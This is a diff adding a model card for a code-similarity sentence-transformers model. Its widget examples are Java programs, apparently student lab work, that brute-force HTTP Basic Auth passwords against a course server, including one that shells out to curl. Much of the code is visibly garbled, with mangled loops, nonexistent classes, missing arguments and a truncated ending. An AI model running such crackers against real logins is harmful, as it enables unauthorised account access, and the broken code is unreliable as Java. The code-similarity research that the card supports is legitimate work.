diff --git "a/README.md" "b/README.md" new file mode 100644--- /dev/null +++ "b/README.md" @@ -0,0 +1,1650 @@ +--- +tags: +- sentence-transformers +- sentence-similarity +- feature-extraction +- generated_from_trainer +- dataset_size:33411 +- loss:BatchAllTripletLoss +base_model: microsoft/unixcoder-base-unimodal +widget: +- source_sentence: "\npackage java.httputils;\n\nimport java.util.ArrayList;\nimport\ + \ java.util.Collection;\nimport java.util.Iterator;\nimport java.util.Observable;\n\ + import java.util.Observer;\n\n\npublic class BruteForceThreadPool extends ThreadGroup\ + \ implements Observer\n{\n protected String URL = \"http://localhost:8080/secret/index.html\"\ + ;\n protected int poolSize = 6;\n\n protected Collection threadList = new\ + \ ArrayList();\n protected String fileName = \"BruteForceReport.txt\";\n \ + \ protected boolean finished = false;\n protected String userName = \"\";\n\ + \ \n public BruteForceThreadPool(String name)\n {\n super(name);\n\ + \ }\n\n \n public BruteForceThreadPool(ThreadGroup parent, String name)\n\ + \ {\n super(parent, name);\n }\n\n \n public synchronized void\ + \ update(Observable o, Object arg)\n {\n \n System.out.println(\"\ + Update method called the observer.\");\n RunnableBruteForce rbf = (RunnableBruteForce)\ + \ o;\n rbf.createReport();\n\n \n \n for (Iterator\ + \ iter = threadList.iterator(); iter.hasNext();)\n {\n RunnableBruteForce\ + \ target = (RunnableBruteForce) iter.next();\n target.setStop(true);\n\ + \ }\n finished = true;\n }\n\n\n \n protected void start(int\ + \ threads)\n {\n \n \n int load = BruteForce.letters.length\ + \ / threads;\n int remainder = BruteForce.letters.length % threads;\n\n\ + \ \n for (int i = 0, end = ( + load);\n end < BruteForce.letters.length;\n\ + \ i = end, end += load)\n {\n RunnableBruteForce\ + \ runnable = new RunnableBruteForce();\n runnable.setURL(getURL());\n\ + \ runnable.setRangeStart();\n runnable.setUserName(userName);\n\ + \ \n runnable.setRangeEnd(\n end + load >\ + \ BruteForce.letters.length ?\n BruteForce.letters.length :\n \ + \ end);\n\n runnable.addObserver(this);\n \ + \ runnable.setFileName(getFileName());\n \n threadList.add(runnable);\n\ + \ }\n\n \n for (Iterator iter = threadList.iterator(); iter.hasNext();)\n\ + \ {\n RunnableBruteForce target = (RunnableBruteForce) iter.next();\n\ + \ new Thread(target).start();\n }\n\n }\n\n public static\ + \ void main(String[] args)\n {\n BruteForceThreadPool pool = new BruteForceThreadPool(\"\ + BruteForceThreadGroup\");\n\n if (args.length < 4)\n {\n \ + \ pool.printUsage();\n return;\n }\n pool.setURL(args[0]);\n\ + \ pool.userName = args[1];\n pool.setFileName(args[2]);\n\n \ + \ pool.get(Integer.parseInt(args[3]));\n while (true)\n {\n \ + \ try\n {\n Thread.currentThread().sleep(100);\n\ + \ if (pool.finished)\n {\n break;\n\ + \ }\n }\n catch (InterruptedException e)\n\ + \ {\n e.printStackTrace();\n }\n }\n\ + \n System.exit(0);\n }\n\n\n public String printUsage()\n {\n\ + \ StringBuffer s = new StringBuffer();\n\n s.append(\"** BruteForceThreadPool\ + \ proper usage **\\n\\n\");\n s.append(\n \"java ..httputils.BruteForceThreadPool\ + \ < Of Threads = 6>\\n\\n\");\n\n return\ + \ s.toString();\n }\n\n \n public Collection getThreadList()\n {\n\ + \ return threadList;\n }\n\n \n public void setThreadList(Collection\ + \ collection)\n {\n threadList = collection;\n }\n\n\n \n public\ + \ String getFileName()\n {\n return fileName;\n }\n\n \n public\ + \ void setFileName(String string)\n {\n fileName = string;\n }\n\n\ + \ \n public String getURL()\n {\n return URL;\n }\n\n \n\ + \ public void setURL(String string)\n {\n URL = string;\n }\n\n\ + \ \n public int getPoolSize()\n {\n return poolSize;\n }\n\n\ + \ \n public void setPoolSize(int i)\n {\n poolSize = i;\n }\n\ + \n}\n" + sentences: + - "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport\ + \ java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[]\ + \ ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\ + m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ + z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ + M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\ + Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n\ + \ static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n\ + \ String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM\ + \ passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n\ + \ }\n\n public static void main (String args[]) {\n new BruteForce();\n\ + \ }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n\ + \ \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF\ + \ = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n\ + \ \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n\ + \ \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n\ + \ }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection\ + \ httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + );\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ + \ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\ + Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\ + \ \n loop: for (int i=0;i<52;i++) {\n password\ + \ = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n \ + \ try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\ + \t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ + \ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\ + \t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength()\ + \ != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK\ + \ ) {\n\t\t \n\t System.out.println (\"Your User\ + \ Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\ + \t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\ + \t\t\t \n\t\t\t System.exit(0);\n \n\t \ + \ }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\ + \ \n } catch ( NoRouteToHostException nr)\ + \ {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\ + \t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t\ + \ } catch (IOException io) {io.printStackTrace();\n\t\t \n\t \ + \ } finally {u.disconnect();\n\t }\n } \n }\n \n \ + \ \n private void breakTwoLetterPassword() { \n MyHttpURLConnection \ + \ httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + );\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ + \ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\ + Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\ + \n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++)\ + \ {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t\ + \ \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n \ + \ try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\ + \t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ + \ u.setRequestProperty(\"Authorization\", \"\ + \ \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \ + \ \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()==\ + \ HttpURLConnection.HTTP_OK ) {\n\t System.out.println\ + \ (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\"\ + \ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\ + \t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\ + \t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n\ + \ } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\ + \t } catch (BindException e){e.printStackTrace();\n\t } catch\ + \ (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch\ + \ (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\ + \t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF\ + \ extends Thread {\n \n \n \n private String passwordLetters[] ;\n \ + \ private String password=\" \";\n private static String userName=\"\";\n\ + \ private MyHttpURLConnection httpURLConnection;\n private URL url;\n\ + \ \n BruteForce bruteForce;\n int count; \n String passBase64;\n \ + \ private HttpURLConnection u;\n \n int start,stop;\n \n static boolean\ + \ found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n\ + \ passwordLetters,String userName,BruteForce\ + \ bruteForce) {\n this.start = start;\n this.stop = stop;\n \ + \ this.passwordLetters =passwordLetters;\n this.userName=userName;\n \ + \ count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\ + \t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n\ + \ try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + );\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \ + \ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\ + \ \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n\ + \ public synchronized void run() {\n \n outer : for (int i=0; i 0)\n\t {\n\t for(int i = 0; i < args.length;\ + \ i++)\n\t {\n \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"\ + -H\") > -1))\n \t\t {\n \t\t\tSystem.out.println(\"\\n-s -S\\\ + tonly tests lower passwords.\");\n \t\t\tSystem.out.println(\"\\n-v\\\ + tprints the patterns as tried.\");\n \t\t\tSystem.out.println(\"-V\\\ + tprints out the patterns and the passwords as generated. \\n\\tThis option\ + \ slows the program considerably.\\n\");\n \t\t\treturn;\n \t\t\ + \ }\t\n \t\telse if(args[i].indexOf(\"-v\") > -1) \n \t\t \ + \ pwForcer.verbose = CrackingConstants.verboseMode1;\n \t\telse if(args[i].indexOf(\"\ + -V\") > -1)\n \t\t pwForcer.verbose = CrackingConstants.verboseMode2;\n\ + \ \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\"\ + ) > -1))\n \t\t pwForcer.scanType = CrackingConstants.simpleScan;\n\t\ + \t }\n\t }\n\n \n\t System.out.println(\"\\n\\n********************************\\\ + n\");\n\t\tSystem.out.println(\"Starting brute force run at \" + \n\t\t longTimestamp.format(new\ + \ Date()));\n\t\tif(args.length > 0)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\ + \t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\ + \t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t\tif(pwForcer.scanType\ + \ == CrackingConstants.simpleScan)\n \t System.out.println(\"Only lower\ + \ passwords tried.\");\n \telse\n \t System.out.println(\"Both lower\ + \ and upper passwords tried.\");\n\t System.out.println(\"\\n********************************\\\ + n\");\n\n\t tStart = System.currentTimeMillis();\n\t pwForcer.run();\n\t\ + \ tFinish = System.currentTimeMillis();\n\t \n if (pwForcer.scanType\ + \ == CrackingConstants.casedScan)\n {\n\t \n \t \n\t \ + \ \n\t \n\t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried\ + \ + \" passwords were generated (out of a possible \" + (26 * 26 * 26 * 8) + \"\ + )\");\n\t System.out.println (\"That is \" + pwForcer.passwordsTried/8\ + \ + \" unique three letter combinations were tried (out of a possible \" + (26\ + \ * 26 * 26) + \")\");\n }\n else\n {\n \t System.out.println\ + \ (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of\ + \ a possible \" + (26 * 26 * 26) + \")\\n\");\n }\n \n\t \n\t\ + \ System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"\ + Finished brute force run at \" + \n\t\t longTimestamp.format(new Date()));\n\ + \t\tSystem.out.println(\"Time taken: \" + ((tFinish - tStart)/1000) + \" seconds\"\ + );\n\t System.out.println(\"\\n********************************\");\n\t} \ + \ \n\n\t\n public BruteForce()\n {\n } \n\n\t\n private void run()\n\ + \ {\n \n \n leftIndex = 0;\n midIndex = 0;\n\ + \ rightIndex = 0;\n \n \n\t\t\n \n \tif(verbose\ + \ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying stutters\ + \ (AAA, aaa, etc.)\");\n for( i = vowelLowerBound; i <= consonantUpperBound;\ + \ i++)\n {\n leftIndex = i;\n midIndex = i;\n \ + \ rightIndex = i;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\ + \ return;\n }\n \n \n \tif(verbose >\ + \ CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-vowel-consonant\ + \ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\ + \ leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound;\ + \ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\ + \ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\ + \ midIndex, rightIndex))\n return;\n \n \ + \ \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\ + Trying consonant-vowel-vowel patterns.\");\n for(leftIndex = consonantLowerBound;\ + \ leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\ + \ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\ + \ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \ + \ if(tryLogin(leftIndex, midIndex, rightIndex))\n \ + \ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\ + \ \t System.out.println(\"Trying vowel-consonant-vowel patterns.\");\n \ + \ for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n\ + \ for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ + \ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\ + \ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\ + \ rightIndex))\n return;\n \n \n \tif(verbose\ + \ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-consonant-consonant\ + \ patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound;\ + \ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ + \ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\ + \ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\ + \ midIndex, rightIndex))\n return;\n \n \n \ + \ \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\ + Trying vowel-vowel-consonant patterns.\");\n for(leftIndex = vowelLowerBound;\ + \ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\ + \ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\ + \ consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n \ + \ if(tryLogin(leftIndex, midIndex, rightIndex))\n \ + \ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\ + \ \t System.out.println(\"Trying consonant-consonant-vowel patterns.\");\n\ + \ for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\ + \ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ + \ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\ + \ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\ + \ rightIndex))\n return;\n \n \n \t\ + if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\ + \ remaining vowel-vowel-vowel patterns.\");\n for(leftIndex = vowelLowerBound;\ + \ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\ + \ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\ + \ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \ + \ if((leftIndex == midIndex) && (leftIndex == rightIndex))\n \ + \ {\n \n }\n \ + \ else\n {\n if(tryLogin(leftIndex,\ + \ midIndex, rightIndex))\n return;\n \ + \ }\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\ + \ \t System.out.println(\"Trying remaining consonant-consonant-consonant\ + \ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\ + \ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ + \ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\ + \ <= consonantUpperBound; rightIndex++)\n if((leftIndex ==\ + \ midIndex) && (leftIndex == rightIndex))\n {\n \ + \ \n }\n else\n \ + \ {\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\ + \ return;\n }\n \n \t\ + if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\ + \ monographs (A, a, etc.)\");\n for ( i = 0; i <= consonantUpperBound;\ + \ i++)\n {\n leftIndex = i;\n midIndex = -1;\n \ + \ rightIndex = -1;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\ + \ return;\n }\n \n \n \n \tif(verbose\ + \ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying bigraphs\ + \ (AA, aa, etc.)\");\n for( i = 0; i <= consonantUpperBound; i++)\n \ + \ {\n \tfor( j = 0; j <= consonantUpperBound; j++)\n \t{\n \ + \ \tleftIndex = i;\n \tmidIndex = j;\n \t rightIndex\ + \ = -1;\n \t if(tryLogin(leftIndex, midIndex, rightIndex))\n\t \ + \ return;\n }\n }\n \n return;\n \ + \ } \n\n\t\n private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)\n\ + \ {\n \n LoginAttempt login = new LoginAttempt();\n LoginAttemptResults\ + \ results = new LoginAttemptResults();\n\n \n CasePasswords casedPasswords\ + \ = new CasePasswords(verbose);\n\n \n \n String tail = \"\ + \";\n\n results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex,\ + \ midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars,\ + \ scanType), passwordsTried);\n passwordsTried = results.getPasswordsTried();\n\ + \ return results.getSuccess();\n }\n \n} \n" + - "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\ + \ = 0;\n private int startTime;\n private int totalTime = 0;\n \ + \ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\ + \ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \ + \ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\ + \ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\ + \ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\ + \ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\ + \ {\n return startTime;\n }\n\n public void setTotalTime( int\ + \ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\ + \ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\ + \ getPasswordAt( int index )\n {\n return password[index];\n }\n\ + } \n" +- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\ + \ java.util.*;\n\npublic class BruteForce {\n public static void main (String[]\ + \ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\ + \ InputStreamReader(System.in));\n\n int start = new Date().getTime();\n\ + \ String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"\ + e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n \"h\",\"H\",\"i\"\ + ,\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"\ + o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"\ + U\",\n\t\t\t \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n\ + \ int len = 52;\n int total = 52;\n String[] cad = new String[total];\n\ + \ int t=0;\n \n for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\ + \t t++;\n } \n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\ + \t cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\ + \ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \ + \ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \ + \ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\ + \ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\ + \ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\ + \ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \ + \ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \ + \ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\ + \ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\ + \ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\ + \ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\ + \ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\ + \ System.out.println(\"The successful password was \"+cad[t]);\n \ + \ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\ + \ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\ + \n" + sentences: + - "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\ + \ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \ + \ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\ + \ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\ + \ {\n return success;\n }\n \n\t\n public void setPageContents\ + \ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \ + \ public String getPageContents()\n {\n return pageContents;\n }\n\ + } \n" + - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\ + \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\ + \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\ + \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\ + \ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\ + \ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\ + \ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\ + \ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\ + \ }\n public Vector getVictor()\n {\n return ;\n }\n public void\ + \ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\ + \ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \ + \ {\n String s1 = new StringBuffer().append( letters[i]).append(\ + \ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\ + \ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\ + \ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\ + \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\ + \ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\ + \ \n for( i = 0; i < letters.length; i++)\n {\n String\ + \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\ + \t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \ + \ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\ + \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\ + \t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\ + \ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\ + \ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\ + \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\ + \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\ + \t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\ + \ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\ + \ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \ + \ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\ + \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\ + \ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\ + \ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\ + \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\ + \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\ + \t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\ + \t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\ + \t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\ + \t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \ + \ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\ + \ }\n }\n \n public static void main( String[] args)\n {\n\ + \ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\ + \ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\ + \ elements loaded\");\n }\n}\n \n" + - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.String;\nimport java.*;\n\ + import java.util.*;\n\npublic class BruteForce {\n private static final int passwdLength\ + \ = 3; \n private static String commandLine\n = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\ + \ -I -u :\";\n private String chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n private int charLen = chars.length(); \n private int n = 0; \ + \ \n private int n3 = charLen*charLen*charLen; \ + \ \n private String response;\n private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];\n\ + \ private char[][] data = new char[passwdLength][charLen];\n private char[]\ + \ pwdChar2 = new char[2];\n private char[] pwdChar = new char[passwdLength];\n\ + \ private String url;\n private int startTime;\n private int endTime;\n private\ + \ int totalTime;\n private float averageTime;\n private boolean finish;\n private\ + \ Process curl;\n private BufferedReader bf, responseLine;\n\n public BruteForce()\ + \ {\n\n first();\n finish = true;\n charLen = chars.length();\n for(int i=0;\ + \ i=n3) {\n System.out.println(\"\ + \\n not find the password for user .\");\n finish = false;\n break;\n\ + \ }\n curl = run.exec(url); \n responseLine = new BufferedReader(new\ + \ InputStreamReader(curl.getInputStream()));\n response = responseLine.readLine();\n\ + \ \n \n if(response.substring(9,12).equals(\"200\")) break;\n responseLine\ + \ = null;\n }\n }\n catch(IOException ioe){\n System.out.println(\"\\n\ + \ IO Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\ + \ System.out.println(\"The current trying password is:\"+password[n-1]);\n\ + \ finish=false;\n }\n\n endTime = new Date().getTime(); \n totalTime\ + \ = (endTime-startTime)/1000;\n System.out.println(\" The response time is:\"\ + + totalTime + \" seconds\\n\");\n if(finish) {\n System.out.println(\" \ + \ The password for is:\"+ password[n-1]);\n try {\n savePassword(password[n-1],\ + \ totalTime);\n }\n catch (IOException ioec) {\n System.out.println(\"\ + \ not save the password file BruteForce_pwd.txt \");\n }\n }\n }\n\n public\ + \ void first() {\n\n System.out.println(\"\\n\\n---------------------------------------------------------------\"\ + );\n System.out.println(\" Use curl command Brute Force the password for\ + \ user .\");\n System.out.println(\" Attention: curl should able run at\ + \ your directory\");\n System.out.println(\" without setting the Path\ + \ for it.\");\n System.out.println(\"---------------------------------------------------------------\"\ + );\n }\n\n\n public void savePassword(String passwdString, int time) throws\ + \ IOException {\n DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(\"\ + BruteForce_pwd.txt\"));\n outputStream.writeChars(\"The password is:\");\n outputStream.writeChars(passwdString+\"\ + \\n\");\n outputStream.writeChars(\"The response time is: \");\n outputStream.writeChars(time1.toString(time));\n\ + \ outputStream.writeChars(\" seconds\\n\");\n outputStream.close();\n }\n\n\ + \ public static void main(String[] args) {\n new BruteForce();\n } \n}\n" +- source_sentence: "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic\ + \ class BruteForce\n{\n public static void main(String[] args) throws Exception\n\ + \ {\n \n String password = checkPassword(); \n\n System.out.println(\"\ + Congratulations Your password is \"+ password );\n \n \n\n URL\ + \ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\ + \ sec = (HttpURLConnection)url.openConnection();\n sec.setRequestProperty(\"\ + Authorization\", \" \" + encode(\":\"+password));\n BufferedReader in = new\ + \ BufferedReader(new InputStreamReader(sec.getInputStream()));\n String inputLine;\n\ + \n while ((inputLine = in.readLine()) != null)\n System.out.println(inputLine);\n\ + \ in.close();\n }\n\n \n\n private static String checkPassword() throws\ + \ Exception\n {\n String Password=\" \";\n int 